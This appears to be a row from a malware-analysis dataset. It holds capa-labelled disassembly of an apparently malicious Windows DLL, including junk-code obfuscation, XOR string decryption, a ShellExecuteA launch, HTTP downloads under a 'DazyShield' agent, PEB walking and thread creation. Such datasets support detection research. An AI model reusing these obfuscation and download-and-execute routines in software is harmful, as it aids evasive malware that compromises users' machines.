joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010fa8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
test eax, eax
je 0x10010f7f
jne 0x10010f7e
call 0x93050006
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10010f8d
jmp 0x10010f8f
je 0x10010f8a
clc
jae 0x10010f94
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x10010f99
jne 0x10010f99
pop eax
pushf
push 0xa
jae 0x10010fa6
jmp 0x10010fa1
call 0x10010fa8
jae 0x10010fa1
add esp, 4
jmp 0x10010fad
dec dword [esp]
jno 0x10010fb2
jns 0x10010f9d
jp 0x10010fb6
add esp, 4
popf
jmp 0x10010fbd
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10010fd6
jne 0x10010fd6
call 0x1fc1432a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0xffffffffffffffff
call fcn.100332b0
clc
jae 0x10010ff3
shl byte [ecx], 1
pushf
push 0xa
jae 0x10011000
jmp 0x10010ffb
call 0x10011002
jae 0x10010ffb
add esp, 4
jmp 0x10011007
dec dword [esp]
jno 0x1001100c
jns 0x10010ff7
jp 0x10011010
add esp, 4
popf
jmp 0x10011017
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011030
jne 0x10011030
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x10011035
jmp 0x10011037
je 0x10011032
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011051
jne 0x10011050
call 0x930500d8
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001105f
jne 0x1001105f
call fcn.1001111f
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
mov esp, 0
xor eax, eax
test eax, eax
je 0x1001106d
add esi, dword [ebp]
jne 0x1001106c
call 0x930500f4
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001107b
jmp 0x1001107d
je 0x10011078
clc
jae 0x10011082
jp 0x10011069
je 0x10011087
jne 0x10011087
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x10011094
jmp 0x1001108f
call 0x10011096
jae 0x1001108f
add esp, 4
jmp 0x1001109b
dec dword [esp]
jno 0x100110a0
jns 0x1001108b
jp 0x100110a4
add esp, 4
popf
jmp 0x100110ab
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100110c4
jne 0x100110c4
call 0x1fc14418
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x1001111f
Capabilities:
Create process on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10049ceb
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x604
mov eax, dword [0x1005f0f8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
add byte [ebx - 0x17ff950f], cl
fstp st(2)
add dword [eax], eax
add esp, 4
mov dword [ebp - 0x530], eax
lea eax, [ebp - 0x530]
mov dword [ebp - 0x52c], edx
push eax
call fcn.1002eed2
movaps xmm0, xmmword [0x1005a710]
add esp, 4
movups xmm2, xmmword [eax]
movups xmm1, xmmword [eax + 0x10]
mov word [ebp - 0x20], 0x20
movups xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [0x1005a720]
movups xmmword [ebp - 0x30], xmm0
movaps xmm0, xmm1
psrldq xmm0, 4
movd eax, xmm0
movaps xmm0, xmm2
psrldq xmm0, 0xc
add eax, 0x76c
push eax
movd eax, xmm1
inc eax
push eax
movd eax, xmm0
movaps xmm0, xmm2
psrldq xmm0, 4
push eax
movd eax, xmm2
psrldq xmm2, 8
push eax
movd eax, xmm0
push eax
movd eax, xmm2
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x528]
push eax
call fcn.100044c0
push 0xb0
lea eax, [ebp - 0x5e0]
mov dword [ebp - 0x1c], 0x6e65706f
push 0
push eax
mov byte [ebp - 0x18], 0
call fcn.10029440
add esp, 0x2c
mov ecx, 0x1f
xor edx, edx
mov al, byte [edx + str.WS_fnLCV_bSP_]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x5ec], al
and ecx, 0x800000ff
jns 0x10011203
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xb
jl 0x100111e3
mov byte [ebp - 0x5e1], 0
sub esp, 8
mov dword [ebp - 4], 0
lea eax, [ebp - 0x5ec]
lea ecx, [ebp - 0x5e0]
push 8
push eax
call fcn.10006410
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x5e0]
xorps xmm0, xmm0
mov dword [ebp - 0x5e4], 0
mov edx, 0x10059190
movq qword [ebp - 0x5ec], xmm0
call fcn.10008e30
lea edx, [ebp - 0x528]
mov ecx, eax
call fcn.10008e30
mov edx, esi
mov ecx, eax
call fcn.10008e30
lea ecx, [ebp - 0x5dc]
call fcn.10007620
test eax, eax
jne 0x100112a7
mov eax, dword [ebp - 0x5e0]
lea ecx, [ebp - 0x5e0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10004e70
mov eax, dword [0x100612e4]
inc eax
mov dword [0x100612e4], eax
cmp eax, 2
jae 0x10011306
mov edx, 0x1f
xor eax, eax
nop
mov cl, byte [eax + str.WS_fnLCV_bSP_]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x5ec], cl
and edx, 0x800000ff
jns 0x100112e0
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0xb
jl 0x100112c0
push 5
push 0
push 0
lea eax, [ebp - 0x5ec]
mov byte [ebp - 0x5e1], 0
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp - 0x5e0]
call fcn.10005170
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x10011340
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push esi
mov esi, dword [eax + 0xc]
mov eax, dword [esi + 0xc]
add esi, 0xc
cmp eax, esi
je 0x10011365
test eax, eax
je 0x10011365
mov ecx, dword [eax + 0x18]
cmp edx, ecx
je 0x10011369
mov eax, dword [eax]
cmp eax, esi
jne 0x10011354
xor al, al
pop esi
ret
mov edx, dword [0x100613a0]
pop esi
mov dword [edx], ecx
mov ecx, dword [eax + 0x1c]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 0x20]
mov dword [edx + 8], ecx
mov ecx, dword [eax + 0x30]
mov dword [edx + 0x18], ecx
movzx ecx, word [eax + 0x2c]
mov word [edx + 0x14], cx
movzx ecx, word [eax + 0x2e]
mov word [edx + 0x16], cx
mov ecx, dword [eax + 0x28]
mov dword [edx + 0x10], ecx
movzx ecx, word [eax + 0x24]
mov word [edx + 0xc], cx
mov ax, word [eax + 0x26]
mov word [edx + 0xe], ax
mov al, 1
ret
Function at 0x100150a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xe4
xor eax, eax
mov dl, byte [edi + eax - 0x45df1c07]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x100150ce
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x100150b1
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10015120
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x8f
xor eax, eax
mov dl, byte [edi + eax + 0x1048d96e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001514e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x10015131
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x1001b3f0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [0x1005f0f8]
xor eax, esp
mov dword [esp + 8], eax
push esi
mov esi, ecx
call fcn.1001b060
push 0
push 0
push 0
push 0
push str.DazyShield
mov dword [esp + 0x1c], 4
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x80000000
push 0
push 0
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0xc]
push ecx
push 0x20000013
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x1001b483
mov edx, str.error
mov ecx, 0x100604c0
call fcn.10008e30
push eax
call fcn.10009370
mov eax, 4
add esp, 4
pop esi
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.10026f69
mov esp, ebp
pop ebp
ret
push dword [esp + 4]
call fcn.10006530
push eax
call fcn.10009370
mov ecx, dword [esp + 0x10]
add esp, 4
mov eax, dword [esp + 4]
pop esi
xor ecx, esp
call fcn.10026f69
mov esp, ebp
pop ebp
ret

Function at 0x1001b4b0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x6224
call fcn.10027f10
mov eax, dword [0x1005f0f8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
mov esi, edx
mov dword [ebp - 0x6224], edi
mov ecx, esi
mov dword [ebp - 0x6224], edi
call fcn.1001b3f0
cmp eax, 0xc8
jne 0x1001b5a2
push 0
push 0
push 0
push 0
push str.DazyShield
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x80000000
push 0
push 0
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0x5dc
mov esi, eax
mov dword [ebp - 0x6224], 0x621b
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x6224]
push eax
push dword [ebp - 0x6224]
lea eax, [ebp - 0x6220]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x6224]
cmp eax, 0x621c
jae 0x1001b5c1
lea ecx, [ebp - 0x6220]
mov dword [edi], 0
mov dword [edi + 0x10], 0
lea edx, [ecx + 1]
mov dword [edi + 0x14], 0xf
mov byte [ebp + eax - 0x6220], 0
mov byte [edi], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001b578
sub ecx, edx
lea eax, [ebp - 0x6220]
push ecx
push eax
mov ecx, edi
call fcn.10003e80
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.10026f69
mov esp, ebp
pop ebp
ret
push ecx
mov edx, 0x10059980
mov ecx, 0x100604c0
call fcn.10008e30
mov ecx, eax
call fcn.10006710
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
call fcn.10027099
int3
Function at 0x1001ba76
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004a62d
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x1005f0f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
test eax, eax
je 0x1001b991
jne 0x1001b990
call 0x9305aa18
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001b99f
jmp 0x1001b9a1
je 0x1001b99c
clc
jae 0x1001b9a6
push edi
pop eax
je 0x1001b9ab
jne 0x1001b9ab
pop eax
pushf
push 0xa
jae 0x1001b9b8
jmp 0x1001b9b3
call 0x1001b9ba
jae 0x1001b9b3
add esp, 4
jmp 0x1001b9bf
dec dword [esp]
jno 0x1001b9c4
jns 0x1001b9af
jp 0x1001b9c8
add esp, 4
popf
jmp 0x1001b9cf
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001b9e8
jne 0x1001b9e8
call 0x1fc1ed3c
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0x844a6692
lea ecx, [ebp - 0x20]
call fcn.1001be80
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
push 0x8ba34079
lea ecx, [ebp - 0x2c]
call fcn.1001bdf0
mov dword [ebp - 0x18], eax
push 0x1001b900
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call fcn.10001250
mov dword [0x100612fc], eax
lea ecx, [ebp - 0x2c]
call fcn.1001bb00
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.10016750
clc
jae 0x1001ba67
add dword [ecx], esp
pushf
push 0xa
jae 0x1001ba74
jmp 0x1001ba6f
call 0x1001ba76
jae 0x1001ba6f
add esp, 4
jmp 0x1001ba7b
dec dword [esp]
jno 0x1001ba80
jns 0x1001ba6b
jp 0x1001ba84
add esp, 4
popf
jmp 0x1001ba8b
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001baa4
jne 0x1001baa4
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x1001baa9
jmp 0x1001baab
je 0x1001baa6
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001bac5
jne 0x1001bac4
call 0x9305ab4c
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001bad3
jne 0x1001bad3
call 0x106bbb41
push 0
push 0
push 0
push 0x1001b5d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001fec0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x97
xor eax, eax
mov dl, byte [edi + eax + 0x62cf5ac5]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1001feee
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x1001fed1
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x100200c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x60
xor eax, eax
mov dl, byte [edi + eax + 0x71372462]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x100200ee
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x100200d1
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10020710
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x74
xor eax, eax
mov dl, byte [edi + eax - 0x41a72eb2]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1002073e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x10020721
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100208c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x49
xor eax, eax
mov dl, byte [edi + eax + 0x5260ac41]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x100208ee
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x100208d1
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10020900
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xd4
xor eax, eax
mov dl, byte [edi + eax + 0x60822ac]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x1002092e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x10020911
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10020be0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x19
xor eax, eax
mov dl, byte [edi + eax + 0x13af0c85]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
and ecx, 0x800000ff
jns 0x10020c0e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x10020bf1
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10020ec0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
xor esi, esi
mov edx, dword [eax + 0x3c]
add edx, eax
movzx ecx, word [edx + 0x14]
lea eax, [edx + 0x18]
movzx ebx, word [edx + 6]
add eax, ecx
mov dword [ebp - 4], eax
test ebx, ebx
je 0x10020f29
mov edi, eax
mov eax, edi
mov ecx, 0x1005a0f8
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10020f18
test dl, dl
je 0x10020f14
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10020f18
add ecx, 2
add eax, 2
test dl, dl
jne 0x10020ef8
xor eax, eax
jmp 0x10020f1d
sbb eax, eax
or eax, 1
test eax, eax
je 0x10020f52
inc esi
add edi, 0x28
cmp esi, ebx
jl 0x10020ef1
xor eax, eax
cmp byte [0x100612f9], al
push 0
setne al
push eax
push 0
push str._nText_section_size_can_not_detected__Size_created_as_manual:__p_IsPacked_result:__d_Base:__p
call fcn.10010f20
add esp, 0x10
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 4]
lea eax, [esi + esi*4]
mov esi, dword [edi + eax*8 + 0xc]
mov edi, dword [edi + eax*8 + 0x10]
xor eax, eax
add esi, dword [ebp - 8]
cmp byte [0x100612f9], al
push esi
setne al
push eax
push edi
push str._nText_section_size_can_not_detected__Size_created_as_manual:__p_IsPacked_result:__d_Base:__p
call fcn.10010f20
add esp, 0x10
test esi, esi
jne 0x10020fab
xor eax, eax
cmp byte [0x100612f9], al
setne al
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call esi
push eax
push str._nText_section_base_address_is_null__Base_wrapped_as_module_base:__p_IsPacked_result:__d
call fcn.10010f20
add esp, 0xc
push 0
call esi
mov esi, eax
test edi, edi
jne 0x10020fcf
xor ecx, ecx
mov edi, 0x100000
cmp byte [0x100612f9], cl
push esi
setne cl
push ecx
push edi
push str._nText_section_size_can_not_detected__Size_created_as_manual:__p_IsPacked_result:__d_Base:__p
call fcn.10010f20
add esp, 0x10
push edi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x10020fe7
pop edi
pop esi
mov eax, 4
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, edi
mov ecx, esi
call fcn.10020da0
pop edi
test eax, eax
mov ecx, 5
pop esi
cmove eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100211d0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x1005f0f8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x44]
mov dword [ebp - 0x48], ecx
push eax
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x38]
xorps xmm0, xmm0
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x54], eax
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], ebx
movq qword [ebp - 0x10], xmm0
nop word [eax + eax]
push 0x1c
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test byte [ebp - 0xc], 0xf0
mov edi, dword [ebp - 0x14]
je 0x10021249
mov ecx, dword [ebp - 0x20]
lea edx, [ebp - 0x4c]
push dword [ebp - 0x48]
mov dword [ebp - 0x50], ecx
lea eax, [edi + ecx]
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x4c], eax
call fcn.100210f0
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x10021258
push 2
add esi, edi
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, dword [ebp - 0x54]
jb 0x10021210
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10026f69
mov esp, ebp
pop ebp
ret

Function at 0x1002195d
Capabilities:
Create thread

Disassembly:
jae 0x1002195b
jmp 0x10021956
call fcn.1002195d
jae 0x10021956
add esp, 4
jmp 0x10021962
dec dword [esp]
jno 0x10021967
jns 0x10021952
jp 0x1002196b
add esp, 4
popf
jmp 0x10021972
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1002198b
jne 0x1002198b
call 0x1fc24cdf
wait
rcl byte [edx + 0x33], 0xd0
push eax

Function at 0x1002198c
Capabilities:
Create thread

Disassembly:
jae 0x1002195b
jmp 0x10021956
call fcn.1002195d
jae 0x10021956
add esp, 4
jmp 0x10021962
dec dword [esp]
jno 0x10021967
jns 0x10021952
jp 0x1002196b
add esp, 4
popf
jmp 0x10021972
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1002198b
jne 0x1002198b
call 0x1fc24cdf
wait
rcl byte [edx + 0x33], 0xd0
push eax

Function at 0x100233d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004ac00
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
push ebx
push esi
push edi
mov eax, dword [0x1005f0f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov eax, 0x9075f6be
push eax
lea ecx, [ebp - 0x98]
call fcn.10024240
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x14]
call fcn.100110e0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x98]
call fcn.10014fc0
push 0x561cc562
lea ecx, [ebp - 0x3c]
call fcn.10024280
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1c]
call fcn.10010f50
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.10014fd0
push 0
push 0
push 0
push 0x10023370
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
clc
jae 0x1002347f
mov ah, 0x79
pushf
push 0xa
Function at 0x10024480
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x1000b670
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1006134c], eax
test eax, eax
jne 0x100244a8
call fcn.10010f70
mov eax, dword [0x1006134c]
ret

Function at 0x100244b0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x10021900
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10061348], eax
test eax, eax
jne 0x100244d8
call fcn.10010f70
mov eax, dword [0x10061348]
ret

Function at 0x100244e0
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
push 0
push 0x10014a70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
jne 0x10024503
call fcn.10010f70
mov eax, esi
pop esi
ret

Function at 0x10024510
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x10024210
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10061354], eax
test eax, eax
jne 0x10024538
call fcn.10010f70
mov eax, dword [0x10061354]
ret

Function at 0x100245a0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004acf8
mov eax, dword fs:[0]
push eax
sub esp, 0xd4
push ebx
push esi
push edi
mov eax, dword [0x1005f0f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [0x10061348]
call esi
push 0
push dword [0x10061350]
mov edi, eax
call esi
push 0
push dword [0x1006134c]
mov dword [ebp - 0x10], eax
call esi
push 0
push dword [0x10061354]
mov dword [ebp - 0x14], eax
call esi
push dword [0x10061348]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ebx, eax
call esi
push dword [0x10061350]
mov dword [ebp - 0x18], eax
call esi
push dword [0x1006134c]
mov dword [ebp - 0x1c], eax
call esi
push dword [0x10061354]
mov dword [ebp - 0x20], eax
call esi
mov esi, eax
cmp edi, 0x102
jne 0x1002464a
cmp dword [ebp - 0x10], edi
jne 0x1002464a
cmp dword [ebp - 0x14], edi
jne 0x1002464a
cmp ebx, edi
je 0x1002469c
mov ecx, 0x6f
xor edx, edx
mov al, byte [edx + 0x1005a5f8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xe0], al
and ecx, 0x800000ff
jns 0x10024671
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x58
jl 0x10024651
mov byte [ebp - 0x88], 0
lea ecx, [ebp - 0xe0]
mov dword [ebp - 4], 0
call fcn.100110e0
mov dword [ebp - 4], 0xffffffff
call fcn.10010f70
cmp dword [ebp - 0x18], 1
je 0x100246b3
cmp dword [ebp - 0x1c], 1
je 0x100246b3
cmp dword [ebp - 0x20], 1
je 0x100246b3
cmp esi, 1
jne 0x10024712
mov edx, 0xe6
xor eax, eax
nop word [eax + eax]
mov cl, byte [eax + 0x1005a658]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x80], cl
and edx, 0x800000ff
jns 0x100246dd
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x58
jl 0x100246c0
mov byte [ebp - 0x28], 0
lea ecx, [ebp - 0x80]
mov dword [ebp - 4], 1
call fcn.100110e0
push 0x59
lea eax, [ebp - 0x80]
mov dword [ebp - 4], 0xffffffff
push 0
push eax
call fcn.10029440
add esp, 0xc
call fcn.10010f70
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret